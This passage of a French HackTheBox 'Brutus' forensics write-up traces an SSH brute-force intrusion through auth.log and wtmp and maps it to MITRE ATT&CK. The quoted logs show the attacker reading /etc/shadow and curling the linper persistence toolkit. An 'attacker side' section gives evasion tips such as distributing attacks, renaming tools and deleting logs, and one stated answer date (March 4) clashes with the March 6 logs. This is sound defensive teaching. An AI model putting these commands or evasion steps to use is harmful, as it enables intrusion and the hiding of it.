<h3 class="wp-block-heading">B. Tâche n°2 : Authentification réussie</h3>



<ul>
<li><strong>Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?</strong></li>
</ul>



<p>La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "<strong>Accepted password</strong>", c'est notamment le cas des toutes dernières lignes du fichier "<strong>auth.log</strong>" : </p>



<pre class="wp-block-code"><code>$ grep "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">65.2.161.68</mark></strong>" auth.log | tail -n 4
Mar  6 06:32:44 ip-172-31-35-28 sshd&#91;2491]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Accepted</mark></strong> <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">password</mark></strong> for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd&#91;2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd&#91;2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:34 ip-172-31-35-28 sshd&#91;2667]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Accepted password</mark></strong> for cyberjunkie from 65.2.161.68 port 43260 ssh2</code></pre>



<p>Ainsi, en faisant un filtre sur le mot "<strong>Accepted</strong>" grâce à la commande "<strong>grep</strong>", nous pouvons obtenir toutes les authentifications réussies :</p>



<pre id="block-3145b24c-a82a-4ecc-99da-54f53afa26fb" class="wp-block-code"><code>$ grep "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Accepted</mark></strong>" auth.log 
Mar  6 06:19:54 ip-172-31-35-28 sshd&#91;1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd&#91;2411]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Accepted password for root from 65.2.161.68</mark></strong> port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd&#91;2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd&#91;2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh</code></pre>



<p>La première authentification réussie par l'adresse IP "<strong>65.2.161.68</strong>" concerne le compte utilisateur "<strong>root</strong>". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.</p>



<h3 class="wp-block-heading">C. Tâche n°3 : Date de connexion SSH</h3>



<ul>
<li><strong>Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?</strong></li>
</ul>



<p>Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "<strong>wtmp</strong>" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "<strong>auth.log</strong>". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "<strong>last</strong>".</p>



<pre class="wp-block-code"><code>$ <strong>last -f wtmp -F</strong>
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024</mark></strong>  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)</code></pre>



<p>Ici, l'option "<strong>-F</strong>" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.</p>



<p>Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "<strong>auth.log</strong>" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "<strong>2024-03-04 06:32:45</strong>".</p>



<h3 class="wp-block-heading">D. Tâche n°4 : Identification de session SSH</h3>



<ul>
<li><strong>Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?</strong></li>
</ul>



<p>Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire. </p>
</blockquote>



<p>Nous pouvons pour cela utiliser l'option "<strong>-A</strong> <strong>X</strong>" de la commande "<strong>grep</strong>" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "<strong>root</strong>" de l'adresse IP "<strong>65.2.161.68</strong>".</p>



<pre class="wp-block-code"><code>$ grep "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Accepted</mark></strong>" auth.log  -A 5          
--
Mar  6 06:31:40 ip-172-31-35-28 sshd&#91;2411]: Accepted password for root from 65.2.161.68 port <strong>34782</strong> ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd&#91;2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind&#91;411]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">New session 34 of user root</mark></strong>.
--
Mar  6 06:31:40 ip-172-31-35-28 sshd&#91;2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd&#91;2411]: <strong>Disconnected from user root 65.2.161.68 port 34782</strong>
--
Mar  6 06:32:44 ip-172-31-35-28 sshd&#91;2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd&#91;2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind&#91;411]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">New session 37 of user root</mark></strong>.
Mar  6 06:33:01 ip-172-31-35-28 CRON&#91;2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON&#91;2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON&#91;2561]: pam_unix(cron:session): session closed for user confluence</code></pre>



<p>Quelques lignes plus loin, nous avons l'information recherchée "<strong>New session 34</strong>", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que <strong>l'attaquant s'est déconnecté la même seconde, donc immédiatement</strong>. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "<strong>wtmp</strong>", qui présente les mêmes informations de manière plus claire. Dans le fichier "<strong>auth.log</strong>", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.</p>



<p>Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "<strong>New session 37 of user root</strong>".</p>



<h3 class="wp-block-heading">E. Tâche n°5 : création d'un accès persistant</h3>



<ul>
<li><strong>Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?</strong></li>
</ul>



<p>D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "<strong>auth.log</strong>" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "<strong>root</strong>" :</p>



<pre class="wp-block-code alignwide"><code>$ grep "65.2.161.68" auth.log | tail 
Mar  6 06:34:18 ip-172-31-35-28 groupadd&#91;2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd&#91;2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd&#91;2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd&#91;2592]:<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color"> new user: name=cyberjunkie</mark></strong>, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd&#91;2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie</code></pre>



<p>Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "<strong>root</strong>". Le compte ici créé parait donc être "<strong>cyberjunkie</strong>", l'attaquant est venu s'y connecter juste après l'avoir créé.</p>



<pre class="wp-block-code"><code>$ grep "65.2.161.68" "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">cyberjunkie</mark></strong>" auth.log
&#91;...]
Mar  6 06:37:34 ip-172-31-35-28 sshd&#91;2667]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Accepted password for cyberjunkie from 65.2.161.68</mark></strong> port 43260 ssh2</code></pre>



<h3 class="wp-block-heading">F. Tâche n°6 : TTP du MITRE ATT&amp;CK</h3>



<ul>
<li><strong>Énoncé - Task 6 : What is the MITRE ATT&amp;CK sub-technique ID used for persistence?</strong></li>
</ul>



<p>Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&amp;CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "<strong>Persistence</strong>" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/c0070c0b.hackthebox-writeup-sherlocks-mitre-persistence.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence.png"><img decoding="async" width="800" height="392" src="media/f870d791.hackthebox-writeup-sherlocks-mitre-persistence-800x392.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence-800x392.png" alt="Présentation de la tactic &quot;Persistence&quot; sur framework MITRE ATT&amp;CK." class="wp-image-79374" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence-800x392.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence-550x269.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence-768x376.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-persistence.png 1217w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Présentation de la tactic "Persistence" sur framework MITRE ATT&amp;CK.</figcaption></figure></div>


<p>Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le <a href="https://attack.mitre.org/techniques/T1136/001/" target="_blank" rel="noopener nofollow" title="TTP1136.001">TTP 1136.001</a> qui corresponde le mieux à notre situation :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/f21b1283.hackthebox-writeup-sherlocks-mitre-T1136.001.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001.png"><img decoding="async" width="800" height="259" src="media/a0212761.hackthebox-writeup-sherlocks-mitre-T1136.001-800x259.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001-800x259.png" alt="TTP 1136.001 relatif à l'opération de création d'un compte local à des fins de persistance." class="wp-image-79375" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001-800x259.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001-550x178.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001-150x49.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001-768x249.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001-50x16.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-mitre-T1136.001.png 1386w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">TTP 1136.001 relatif à l'opération de création d'un compte local à des fins de persistance.</figcaption></figure></div>


<h3 class="wp-block-heading">G. Tâche n°7 : Temps de session SSH</h3>



<ul>
<li><strong>Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)</strong></li>
</ul>



<p>Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "<strong>root</strong>". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :</p>



<pre class="wp-block-code"><code>$ grep <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">-i "session 37"</mark></strong> auth.log
Mar 6 <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">06:32:44</mark></strong> ip-172-31-35-28 systemd-logind&#91;411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind&#91;411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">06:37:24</mark></strong> ip-172-31-35-28 systemd-logind&#91;411]: Removed session 37.</code></pre>



<p>Le temps total de la session est de <strong>279 secondes</strong>.</p>



<h3 class="wp-block-heading">H. Tâche n°8 : Commande sudo</h3>



<ul>
<li><strong>Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</strong></li>
</ul>



<p>D'après l'énoncé, l'attaquant a utilisé son compte "<strong>cyberjunkie</strong>" afin d'élever ses privilèges en tant que "<strong>root</strong>" sur le système en utilisant la commande "<strong>sudo</strong>".</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>La commande "<strong>sudo</strong>" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "<strong>root</strong>". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root. <br><br>On parle alors de "sudo escape" : <a href="https://attack.mitre.org/techniques/T1548/003/" target="_blank" rel="noopener" title="T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching">T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching</a></p>
</blockquote>



<p>Nous pouvons utiliser la commande "<strong>grep</strong>" sur le terme "<strong>sudo</strong>" et repérer rapidement la commande en question : </p>



<pre class="wp-block-code"><code>$ grep "sudo" auth.log 
Mar  6 06:35:15 ip-172-31-35-28 usermod&#91;2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod&#91;2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</mark></strong>
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use</code></pre>



<p>L'attaquant a donc utilisé la commande "<strong>sudo</strong>" afin de télécharger sur internet un script nommé "<strong>linper.sh</strong>", que nous pouvons d'ailleurs consulter de nous même : <a href="https://github.com/montysecurity/linper" target="_blank" rel="noopener nofollow" title="">https://github.com/montysecurity/linper</a> :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/4489ab65.hackthebox-writeup-sherlocks-linper.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper.png"><img decoding="async" width="800" height="672" src="media/960e7a51.hackthebox-writeup-sherlocks-linper-800x672.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper-800x672.png" alt="" class="wp-image-79387" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper-800x672.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper-550x462.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper-150x126.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper-768x646.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper-50x42.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-linper.png 928w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure></div>


<p>Il s'agit d'une boîte à outil de persistance ("<em>persistence toolkit</em>") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.</p>



<h2 class="wp-block-heading">IV. Résumé de l'attaque</h2>



<p>Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une <strong>attaque par brute force a été menée</strong> sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "<strong>root</strong>"). L'opération a permis à l'attaquant de <strong>découvrir le mot de passe du compte "root"</strong>. Compte qui a été utilisé pour <strong>créer un compte de persistance</strong> ("<strong>cyberjunkie</strong>") par l'attaquant et ajouter à ce compte un moyen d'<strong>exécuter des commandes en tant que root</strong> par l'intermédiaire d'une dérogation "<strong>sudo</strong>".</p>



<p>Cette dérogation a ensuite été utilisée par l'attaquant afin de <strong>télécharger le script bash "linper.sh"</strong>, hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (<em>Tactics, Techniques and Procedures</em>) utilisés :</p>



<figure class="wp-block-table"><table><tbody><tr><td><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>TTP</strong> (MITRE ATT&amp;CK)</mark></td><td><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Détails</mark></strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1110/001/" target="_blank" rel="noopener" title="T1110.001 - Brute Force: Password Guessing">T1110.001 - Brute Force: Password Guessing</a></td><td>Réalisation d'une attaque par bruteforce sur l'accès SSH.</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener" title="T1078.003 - Valid Accounts: Local Accounts">T1078.003 - Valid Accounts: Local Accounts</a></td><td>Authentification en tant que "<strong>root</strong>" .</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1136/001/" target="_blank" rel="noopener" title="TTP1136.001">TTP1136.001 - Create Account: Local Account</a></td><td>Création d'un compte utilisateur local ("<strong>cyberjunkie</strong>").</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1098/" target="_blank" rel="noopener" title="T1098 - Account Manipulation">T1098 - Account Manipulation</a></td><td>Ajout d'une dérogation sudo à ce nouvel utilisateur permettant d'exécuter des commandes en tant que "<strong>root</strong>"</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener" title="T1078.003 - Valid Accounts: Local Accounts">T1078.003 - Valid Accounts: Local Accounts</a></td><td>Connexion SSH avec l'utilisateur nouvelle créé</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1608/002/" target="_blank" rel="noopener" title="T1608.002 - Stage Capabilities: Upload Tool">T1608.002 - Stage Capabilities: Upload Tool</a></td><td>Téléchargement d'un script "<strong>linper.sh</strong>" depuis Internet sur la cible via "<strong>sudo</strong>" et "<strong>curl</strong>".</td></tr></tbody></table></figure>



<p>Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="548" height="536" src="media/4d6d68de.hackthebox-writeup-sherlocks-brutus-owned.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-owned.png" alt="" class="wp-image-79395" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-owned.png 548w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-owned-150x147.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-owned-50x50.png 50w" sizes="(max-width: 548px) 100vw, 548px" /></figure></div>


<h2 class="wp-block-heading">V. Notions abordées</h2>



<p>Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, <strong>n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires</strong> :-).</p>



<h3 class="wp-block-heading">A. Côté analyste</h3>



<p>Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "<strong>auth.log</strong>" et les subtilités du fichier "<strong>wtmp</strong>" (commande "<strong>last</strong>") nous a permis de rapidement trouver les informations demandées.</p>



<p>Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "<strong>arsenal</strong>" :</p>



<ul>
<li><a href="https://www.it-connect.fr/linux-inventaire-commandes-favorites-outil-arsenal/" target="_blank" rel="noopener" title="Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité">Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité</a></li>
</ul>



<h3 class="wp-block-heading">B. Côté défense</h3>



<p>Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :</p>



<ul>
<li>Il est dans un premier temps recommandé de<strong> durcir la configuration SSH</strong> avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.</li>



<li>La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "<strong>pam.d</strong>", la mise en place d'un service Fail2Ban ou Crowdsec.
<ul>
<li>Retrouvez nos <strong><a href="https://www.it-connect.fr/?s=fail2ban" target="_blank" rel="noopener" title="fail2ban">tutoriels Fail2ban</a></strong>.</li>



<li>Retrouvez nos <strong><a href="https://www.it-connect.fr/?s=Crowdsec" target="_blank" rel="noopener" title="Crowdsec">tutoriels CrowdSec</a></strong>.</li>
</ul>
</li>



<li>Également, il peut être recommandé de <strong>durcir la politique de mot de passe de l'utilisateur root</strong>, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.</li>



<li>Il peut aussi être recommandé de mettre en place des restrictions, voire une <strong>interdiction totale d'accès à Internet de la part des serveurs</strong> si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.</li>
</ul>



<h3 class="wp-block-heading">C. Côté attaquant</h3>



<p>L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :</p>



<ul>
<li>L'attaquant aurait pu <strong>étaler son attaque par brute force dans le temps</strong> afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.</li>



<li>Un attaquant avec plus de moyens aurait aussi pu <strong>distribuer son attaque par brute force depuis plusieurs adresses IP</strong> afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/" target="_blank" rel="noopener" title="T1583 - Acquire Infrastructure">T1583 - Acquire Infrastructure</a></li>
</ul>
</li>



<li>Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu <strong>passer par un serveur web temporaire </strong>pour que l'analyste ne puisse pas facilement identifier l'outil<strong> </strong>et<strong> une modification du nom du script</strong> afin de gagner du temps sur l'investigation et en discrétion.
<ul>
<li><a href="https://attack.mitre.org/techniques/T1036/" target="_blank" rel="noopener nofollow" title="T1036 - Masquerading">T1036 - Masquerading</a></li>
</ul>
</li>



<li>L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu <strong><strong>stopper</strong> la production ou l'exfiltration des journaux d'évènements</strong> afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple <strong>suppression des journaux locaux</strong> aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
<ul>
<li><a href="https://attack.mitre.org/techniques/T1562/012/" target="_blank" rel="noopener" title="T1562.012 - Impair Defenses: Disable or Modify Linux Audit System">T1562.012 - Impair Defenses: Disable or Modify Linux Audit System</a></li>



<li><a href="https://attack.mitre.org/techniques/T1562/003/" target="_blank" rel="noopener" title="T1562.003 - Impair Defenses: Impair Command History Logging">T1562.003 - Impair Defenses: Impair Command History Logging</a></li>



<li><a href="https://attack.mitre.org/techniques/T1070/002/" target="_blank" rel="noopener" title="">T1070.002 - Indicator Removal: Clear Linux or Mac System Logs</a></li>



<li><a href="https://attack.mitre.org/techniques/T1070/003/">T1070.003 - https://attack.mitre.org/techniques/T1070/003/</a></li>
</ul>
</li>
</ul>



<h2 class="wp-block-heading">VI. Conclusion</h2>



<p>J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les <strong>commentaires et le Discord pour partager votre avis</strong> ! <img src="media/b95a57a9.1f642.png" data-original-source="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



